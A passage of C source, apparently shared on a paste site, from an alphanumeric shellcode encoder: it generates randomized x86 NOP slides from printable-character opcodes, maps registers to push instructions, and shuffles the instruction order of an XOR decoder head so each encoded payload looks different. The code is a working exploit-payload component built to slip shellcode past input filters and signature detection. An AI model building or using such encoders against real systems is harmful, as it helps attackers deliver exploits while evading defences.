  1049.         printf("you can't slide it that far forward!\n");
  1050.         return 0;
  1051.     }
  1052.  
  1053.     output_str = malloc(str_len);
  1054.     memset(output_str, 0 , str_len);
  1055.  
  1056.     suffix_substr_len = str_len-substr_len-substr_offset;
  1057.     suffix_substr = malloc(suffix_substr_len);
  1058.     memset(suffix_substr, 0, suffix_substr_len);
  1059.  
  1060.     prefix_substr_len = substr_offset;
  1061.     prefix_substr = malloc(prefix_substr_len);
  1062.     memset(prefix_substr, 0, prefix_substr_len);
  1063.      
  1064.     substr = malloc(substr_len);
  1065.     memset(substr, 0, substr_len);
  1066.  
  1067.     strncpy(substr, str+substr_offset, substr_len);
  1068.     strncpy(prefix_substr, str, prefix_substr_len);
  1069.     strncpy(suffix_substr, str+substr_offset+substr_len, suffix_substr_len);
  1070.  
  1071.     strncpy(output_str, prefix_substr, prefix_substr_len);
  1072.     strncpy(output_str+prefix_substr_len, suffix_substr, slide);
  1073.     strncpy(output_str+prefix_substr_len+slide, substr, substr_len);
  1074.     strncpy(output_str+prefix_substr_len+slide+substr_len, suffix_substr+slide, suffix_substr_len-slide);
  1075.  
  1076.  
  1077.     free(prefix_substr);
  1078.     free(suffix_substr);
  1079.     free(substr);
  1080.     return output_str;
  1081. }
  1082.  
  1083. UCHAR *get_nop_slide(UINT size, UINT slide)
  1084. {   //simple alnum nop slide generator
  1085.     UINT i, x, append_dec_eax = 0;
  1086.     UCHAR alnum_nop[][3] = {
  1087.         "AI", //inc ecx;dec ecx // (alnum_nop[0])
  1088.         "BJ", //inc edx;dec edx // (alnum_nop[1])
  1089.         "CK", //inc ebx;dec ebx // (alnum_nop[2])
  1090.         "EM", //inc ebp;dec ebp // (alnum_nop[3])
  1091.         "FN", //inc esi;dec esi // (alnum_nop[4])
  1092.         "GO", //inc edi;dec edi // (alnum_nop[5])                                [we don't care about eax value before the imul]
  1093.         "HG", //dec eax;inc edi // (alnum_nop[6]) --- not allowed in nop_slide_2 [instruction as it overwrites eax with result ]
  1094.         "HO", //dec eax;dec edi // (alnum_nop[7]) --- not allowed in nop_slide_2 [and we don't care about edi value at all.    ]
  1095.  
  1096.         "DL", //inc esp;dec esp // (alnum_nop[8]) --- [todo: need to preserve stack state] >--. //we can freely inc/dec esp for now
  1097. //      "PX", //push eax;pop eax// (alnum_nop[9]) --- [todo: need to preserve stack state] >--| //but we need to take it into account
  1098. //      "QY", //push ecx;pop ecx// (alnum_nop[10]) ---[todo: need to preserve stack state] >--| //once we start pushing/poping to/from
  1099. //      "RZ", //push edx;pop edx// (alnum_nop[11]) ---[todo: need to preserve stack state] >--' //the stack.
  1100. //                                                                                            |
  1101. //TODO:   <-----------------------------------------------------------------------------------'
  1102. //    push eax   push eax   push eax   push ecx  push edx  
  1103. //    pop eax    push ecx   push ecx   dec esp   pop edx  
  1104. //    push ecx   pop ecx    push edx   inc esp   push ecx  
  1105. //    pop ecx    pop eax    inc esp    pop ecx   pop ecx  
  1106. //    push edx   push edx   dec esp    push eax  push eax  
  1107. //    pop edx    pop edx    pop edx    inc esp   pop eax  
  1108. //                          pop ecx    dec esp   .        
  1109. //                          pop eax    pop eax   .        
  1110. //                                     push edx  .        
  1111. //                                     pop edx   etc...    
  1112.     };
  1113.     UCHAR *nop_slide;
  1114.     nop_slide = malloc(size);
  1115.     memset(nop_slide, 0, size);
  1116.     if(size%2)
  1117.     {
  1118.         append_dec_eax = 1;
  1119.         size--;
  1120.     }
  1121.     for(i=0; i<(size/2); i++) {
  1122.         do
  1123.             x = rand()%(sizeof(alnum_nop)/3);
  1124.         while
  1125.             ((slide==2)&&(x==6||x==7));
  1126.         strcat(nop_slide, alnum_nop[x]);
  1127.     }
  1128.     if(append_dec_eax)
  1129.     {
  1130.         strcat(nop_slide, slide==1?"H":rand()%2?"G":"O"); //dec eax or inc/dec edi - depends on which nop slide
  1131.     }
  1132.     return nop_slide;
  1133. }
  1134.  
  1135. UCHAR get_random_alnum_push_dword_opcode()
  1136. {
  1137.     UCHAR alnum_push_dword_opcode[] =
  1138.     {
  1139.         'P', //0x50 push eax
  1140.         'Q', //0x51 push ecx
  1141.         'R', //0x52 push edx
  1142.         'S', //0x53 push ebx
  1143.         'T', //0x54 push esp
  1144.         'U', //0x55 push ebp
  1145.         'V', //0x56 push esi
  1146.         'W'  //0x57 push edi
  1147.     };
  1148.     return alnum_push_dword_opcode[rand()%sizeof(alnum_push_dword_opcode)];
  1149. }
  1150.  
  1151. UCHAR get_random_alnum_value()
  1152. {
  1153.     char alnum_values[] = ALNUM_CHARSET;
  1154.     return alnum_values[rand()%strlen(alnum_values)];
  1155. }
  1156.  
  1157. UCHAR get_push_register_instruction(UCHAR *reg)
  1158. {
  1159.          if (!strcmp(reg, "eax")) return 'P'; //0x50 push eax
  1160.     else if (!strcmp(reg, "ecx")) return 'Q'; //0x51 push ecx
  1161.     else if (!strcmp(reg, "edx")) return 'R'; //0x52 push edx
  1162.     else if (!strcmp(reg, "ebx")) return 'S'; //0x53 push ebx
  1163.     else if (!strcmp(reg, "esp")) return 'T'; //0x54 push esp
  1164.     else if (!strcmp(reg, "ebp")) return 'U'; //0x55 push ebp
  1165.     else if (!strcmp(reg, "esi")) return 'V'; //0x56 push esi
  1166.     else if (!strcmp(reg, "edi")) return 'W'; //0x57 push edi
  1167.     else return 0;
  1168. }
  1169.  
  1170. UCHAR *randomize_decoder_head(UCHAR *decoder, UINT size_decoder, UCHAR xor_al1, UCHAR jne_xor1)
  1171. {
  1172.     UCHAR states[11] = {0,1,2,3,4,5,6,7,8,9,10};
  1173.     UCHAR instructions[11][3];
  1174.     UCHAR instruction_comments[11][28];
  1175.     UINT i,c, state;
  1176.     UCHAR *output;
  1177.     UCHAR *random_states;
  1178.     UCHAR *p_state[5];
  1179.  
  1180.     output = malloc(17);
  1181.     memset(output, 0, 17);
  1182.     memset(instructions, 0, 11*3);
  1183.     memset(instruction_comments, 0, 11*28);
  1184.     instructions[0][0] = '\x6a';         //j
  1185.     instructions[0][1] = xor_al1;        //
  1186.     instructions[1][0] = '\x58';         //X
  1187.     instructions[2][0] = '\x34';         //4
  1188.     instructions[2][1] = xor_al1;        //
  1189.     instructions[3][0] = '\x48';         //H
  1190.     instructions[4][0] = '\x34';         //4
  1191.     instructions[4][1] = jne_xor1;       //
  1192.     instructions[5][0] = '\x30';         //0
  1193.     instructions[5][1] = '\x42';         //B
  1194.     instructions[5][2] = size_decoder-1; //
  1195.     instructions[6][0] = '\x52';         //R
  1196.     instructions[7][0] = '\x52';         //R
  1197.     instructions[8][0] = '\x59';         //Y
  1198.     instructions[9][0] = '\x47';         //G
  1199.     instructions[10][0] = '\x43';        //C
  1200.  
  1201.     strcat(instruction_comments[0], "push XOR_AL1");
  1202.     strcat(instruction_comments[1], "pop eax");
  1203.     strcat(instruction_comments[2], "xor al, XOR_AL1");
  1204.     strcat(instruction_comments[3], "dec eax");
  1205.     strcat(instruction_comments[4], "xor al, JNE_XOR1");
  1206.     strcat(instruction_comments[5], "xor byte ptr [edx+size], al");
  1207.     strcat(instruction_comments[6], "push edx");
  1208.     strcat(instruction_comments[7], "push edx");
  1209.     strcat(instruction_comments[8], "pop ecx");
  1210.     strcat(instruction_comments[9], "inc edi");
  1211.     strcat(instruction_comments[10], "inc ebx");
  1212.     do {
  1213.         memset(p_state, 0, sizeof(UCHAR*)*5);
  1214.         random_states = shuffle(states, 11);
  1215.          
  1216.         //.*0.*1.*2.*3.*4.*5
  1217.         p_state[0] = memchr(random_states, 0, 11);
  1218.         if(p_state[0])
  1219.             p_state[1] = memchr(p_state[0], 1, 11-(p_state[0]-random_states));
  1220.         if(p_state[1])
  1221.             p_state[1] = memchr(p_state[1], 2, 11-(p_state[1]-random_states));
  1222.         if(p_state[1])
  1223.             p_state[1] = memchr(p_state[1], 3, 11-(p_state[1]-random_states));
  1224.         if(p_state[1])
  1225.             p_state[1] = memchr(p_state[1], 4, 11-(p_state[1]-random_states));
  1226.         if(p_state[1])
  1227.             p_state[1] = memchr(p_state[1], 5, 11-(p_state[1]-random_states));
  1228.  
  1229.          //.*[67].*8
  1230.         if(p_state[1])
  1231.         {
  1232.             p_state[2] = memchr(random_states, 6, 11);
  1233.             p_state[3] = memchr(p_state[2], 8, 11-(p_state[2]-random_states));
  1234.             if(!p_state[3])
  1235.             {
  1236.                 p_state[2] = memchr(random_states, 7, 11);
  1237.                 p_state[3] = memchr(p_state[2], 8, 11-(p_state[2]-random_states));
  1238.             }
  1239.             if(p_state[3])
  1240.             {
  1241.                 //.*1.*[67].*[67]
  1242.                 if(p_state[2] && p_state[1] < p_state[2])
  1243.                     p_state[4] = memchr(p_state[2], *p_state[2]==6?7:6, 11-(p_state[2]-random_states));
  1244.  
  1245.                 //.*0.*[67].*8.*1
  1246.                 if(!p_state[4])
  1247.                     p_state[4] = memchr(p_state[0], 6, 11-(p_state[0]-random_states));
  1248.                 if(!p_state[4])
  1249.                     p_state[4] = memchr(p_state[0], 7, 11-(p_state[0]-random_states));
  1250.                 if(p_state[4])
  1251.                     p_state[4] = memchr(p_state[4], 8, 11-(p_state[4]-random_states));
  1252.                 if(p_state[4])
  1253.                     p_state[4] = memchr(p_state[4], 1, 11-(p_state[4]-random_states));
  1254.  
  1255.                 //.*[67].*8.*0.*1.*[67]
  1256.                 if(!p_state[4])
  1257.                     p_state[4] = memchr(p_state[3], 0, 11-(p_state[3]-random_states));
  1258.                 if(p_state[4])
  1259.                     p_state[4] = memchr(p_state[4], 1, 11-(p_state[3]-random_states));
  1260.                 if(p_state[4])
  1261.                     p_state[4] = memchr(p_state[4], *p_state[3]==6?7:6, 11-(p_state[4]-random_states));
  1262.             }
  1263.         }
  1264.  
  1265.     }
  1266.     while (!p_state[4]);
  1267.  
  1268.     for (c=state=0; state<sizeof(states); state++) {
  1269.         i=0;
  1270.         while (instructions[random_states[state]][i] && i < 3) {
  1271.             output[c] = instructions[random_states[state]][i];
  1272.             i++;
  1273.             c++;
  1274.         }
  1275.     }
  1276.  
  1277.     printf("======================\ndecoder head instruction order: %x %x %x %x %x %x %x %x %x %x %x\n",
  1278.         random_states[0],
  1279.         random_states[1],
  1280.         random_states[2],
  1281.         random_states[3],
  1282.         random_states[4],
  1283.         random_states[5],
  1284.         random_states[6],
  1285.         random_states[7],
  1286.         random_states[8],
  1287.         random_states[9],
  1288.         random_states[10]
  1289.         );
  1290.  
  1291.     printf("%s\n" \
  1292.            "%s\n" \
  1293.            "%s\n" \
  1294.            "%s\n" \
  1295.            "%s\n" \
  1296.            "%s\n" \
  1297.            "%s\n" \
  1298.            "%s\n" \
  1299.            "%s\n" \
  1300.            "%s\n" \
  1301.            "%s\n======================\n",
  1302.         instruction_comments[random_states[0]],
  1303.         instruction_comments[random_states[1]],
  1304.         instruction_comments[random_states[2]],
  1305.         instruction_comments[random_states[3]],
  1306.         instruction_comments[random_states[4]],
  1307.         instruction_comments[random_states[5]],
  1308.         instruction_comments[random_states[6]],
  1309.         instruction_comments[random_states[7]],
  1310.         instruction_comments[random_states[8]],
  1311.         instruction_comments[random_states[9]],
  1312.         instruction_comments[random_states[10]]);
  1313.  
  1314.     return output;
  1315. }
Advertisement
Add Comment
Please, Sign In to add comment